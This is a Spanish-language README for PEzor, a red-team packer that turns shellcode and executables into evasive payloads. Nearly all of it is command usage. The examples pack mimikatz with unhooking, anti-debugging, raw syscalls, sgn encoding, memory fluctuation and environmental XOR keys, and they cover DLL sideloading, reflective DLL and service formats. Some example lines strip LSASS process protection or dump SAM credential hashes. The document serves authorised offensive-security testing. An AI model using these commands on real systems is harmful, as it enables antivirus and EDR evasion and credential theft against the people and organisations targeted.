
Empaqueta shellcode y ejecutables PE en payloads evasivos con técnicas anti-debug, unhooking, syscall y fluctuación de memoria para operaciones de red-team.
Lee las publicaciones del blog aquí:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
El install.sh está diseñado para funcionar en una distribución Kali Linux.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
La variable PATH debe actualizarse para usar un commit específico de Donut. Revisa el script install.sh actualizado.
PEzor helpmuestra la ayuda para PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>Empaqueta el ejecutable proporcionado en uno nuevo
OPTIONS
-h Muestra la ayuda y sale
-32 Forzar ejecutable de 32 bits
-64 Forzar ejecutable de 64 bits
-debug Generar una compilación de depuración
-unhook Eliminación de hooks en modo usuario
-antidebug Agregar comprobaciones anti-depuración
-syscalls Usar syscalls en crudo [solo 64 bits] [solo Windows 10]
-sgn Codificar el shellcode generado con sgn
-text Almacenar shellcode en la sección .text en lugar de .data
-rx Asignar memoria RX para el shellcode
-self Ejecutar el shellcode en el mismo hilo
-sdk=VERSION Usar la versión especificada de .NET Framework (2, 4, 4.5 (predeterminada))
-cleanup Realizar la limpieza del payload asignado y los módulos cargados (solo para BOFs)
-sleep=N Espera N segundos antes de desempaquetar el shellcode
-format=FORMAT Genera resultado en el FORMATO especificado (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Fluctuar región de memoria a PROTECTION (RW o NA) enganchando Sleep()
-xorkey=KEY Cifrar payload con un XOR multibyte simple, obtiene la clave en tiempo de ejecución usando GetComputerNameExA(ComputerNameDnsFullyQualified)
[donut args...] Después del ejecutable a empaquetar, se pueden pasar argumentos adicionales de Donut, como -z 2
EXAMPLES
# 64 bits (autoinyección RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (autoinyección RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (syscalls en crudo)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (fluctuar a READWRITE al dormir)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (fluctuar a NOACCESS al dormir)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (uso de claves ambientales con GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (soporte de EXEs con recursos manteniendo cabeceras PE en memoria)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64 bits (archivo objeto de beacon)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (archivo objeto de beacon con limpieza)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 bits (sideload de dll)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 bits (dll reflectiva)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (exe de servicio)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dll de servicio)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32 bits (autoinyección)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 bits (API Win32: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 bits (API Win32: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) y argumentos para donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>Empaqueta el shellcode proporcionado en un ejecutable
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h Muestra la ayuda y sale
-32 Forzar ejecutable de 32 bits
-64 Forzar ejecutable de 64 bits
-debug Generar una compilación de depuración
-unhook Eliminación de hooks en modo usuario
-antidebug Agregar comprobaciones anti-depuración
-shellcode Forzar detección de shellcode
-syscalls Usar syscalls en crudo [solo 64 bits] [solo Windows 10]
-sgn Codificar el shellcode proporcionado con sgn
-text Almacenar shellcode en la sección .text en lugar de .data
-rx Asignar memoria RX para el shellcode
-self Ejecutar el shellcode en el mismo hilo [requiere shellcode RX, no compatible con -sgn]
-cleanup Realizar la limpieza del payload asignado y los módulos cargados (solo para BOFs)
-sleep=N Espera N segundos antes de desempaquetar el shellcode
-format=FORMAT Genera resultado en el FORMATO especificado (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Fluctuar región de memoria a PROTECTION (RW o NA) enganchando Sleep()
-xorkey=KEY Cifrar payload con un XOR multibyte simple, obtiene la clave en tiempo de ejecución usando GetComputerNameExA(ComputerNameDnsFullyQualified)
EXAMPLES
# 64 bits (autoinyección RWX)
$ PEzor.sh shellcode.bin
# 64 bits (autoinyección RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64 bits (autoinyección)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64 bits (syscalls en crudo)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64 bits (fluctuar a READWRITE al dormir)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64 bits (fluctuar a NOACCESS al dormir)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64 bits (uso de claves ambientales con GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64 bits (archivo objeto de beacon)
$ PEzor.sh -format=bof shellcode.bin
# 64 bits (archivo objeto de beacon con limpieza)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64 bits (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64 bits (sideload de dll)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64 bits (dll reflectiva)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64 bits (exe de servicio)
$ PEzor.sh -format=service-exe shellcode.bin
# 64 bits (dll de servicio)
$ PEzor.sh -format=service-dll shellcode.bin
# 64 bits (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64 bits (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64 bits (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32 bits (autoinyección)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32 bits (API Win32: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
Véase el código: PEzor.sh